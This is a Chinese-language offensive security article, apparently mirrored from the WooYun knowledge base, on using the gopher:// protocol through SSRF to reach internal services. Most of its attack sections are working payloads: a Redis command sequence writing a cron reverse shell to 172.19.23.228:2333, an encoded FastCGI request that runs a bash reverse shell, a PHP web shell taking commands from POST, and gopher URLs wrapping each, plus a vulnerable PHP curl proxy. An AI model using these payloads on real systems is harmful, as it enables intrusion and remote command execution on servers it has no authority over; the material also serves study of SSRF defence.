Do Evil Things with gopher://

wyzsk發表於2020-08-19
作者: Ricter · 2016/06/01 9:32

0x00 前言


Gopher 協議是 HTTP 協議出現之前,在 Internet 上常見且常用的一個協議。當然現在 Gopher 協議已經慢慢淡出歷史。但是經過部分測試,發現阿里雲的 libcurl 還是支援 Gopher 協議的,在實際環境中可能會有更多。

Gopher 協議可以做很多事情,特別是在 SSRF 中可以發揮很多重要的作用。利用此協議可以攻擊內網的 FTP、Telnet、Redis、Memcache,也可以進行 GET、POST 請求。這無疑極大拓寬了 SSRF 的攻擊面。

最大化利用 SSRF,將一個雞肋漏洞玩的的淋漓盡致的例子也有,比如:WooYun-2016-213982:bilibili某分站從資訊洩露到ssrf再到命令執行

0x01 環境


  • IP: 172.19.23.218
  • OS: CentOS 6

根目錄下 1.php 內容為:

#!php
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

0x02 攻擊內網 Redis


Redis 任意檔案寫入現在已經十分受到廣大滲透狗們的歡迎,一般內網中會存在 root 許可權執行的 Redis 服務,利用 Gopher 協議攻擊內網中的 Redis,這無疑可以隔山打牛,直殺內網。

首先了解一下通常攻擊 Redis 的命令,然後轉化為 Gopher 可用的協議。常見的 exp 是這樣的:

#!shell
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

利用這個指令碼攻擊自身並抓包得到資料流:

改成適配於 Gopher 協議的 URL:

#!shell
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻擊:

0x03 攻擊 FastCGI


一般來說 FastCGI 都是繫結在 127.0.0.1 埠上的,但是利用 Gopher+SSRF 可以完美攻擊 FastCGI 執行任意命令。

首先構造 exp:

構造 Gopher 協議的 URL:

#!shell
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻擊:

0x04 攻擊內網 Vulnerability Web


Gopher 可以模仿 POST 請求,故探測內網的時候不僅可以利用 GET 形式的 PoC(經典的 Struts2),還可以使用 POST 形式的 PoC。
一個只能 127.0.0.1 訪問的 exp.php,內容為:

#!php
<?php system($_POST[e]);?>  

利用方式:

#!shell
POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

構造 Gopher 協議的 URL:

#!shell
gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻擊:

0x05 以上


Gopher + SSRF 組合拳還有更多的姿勢等待挖掘,水平有限,拋磚引玉。

0x06 參考


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章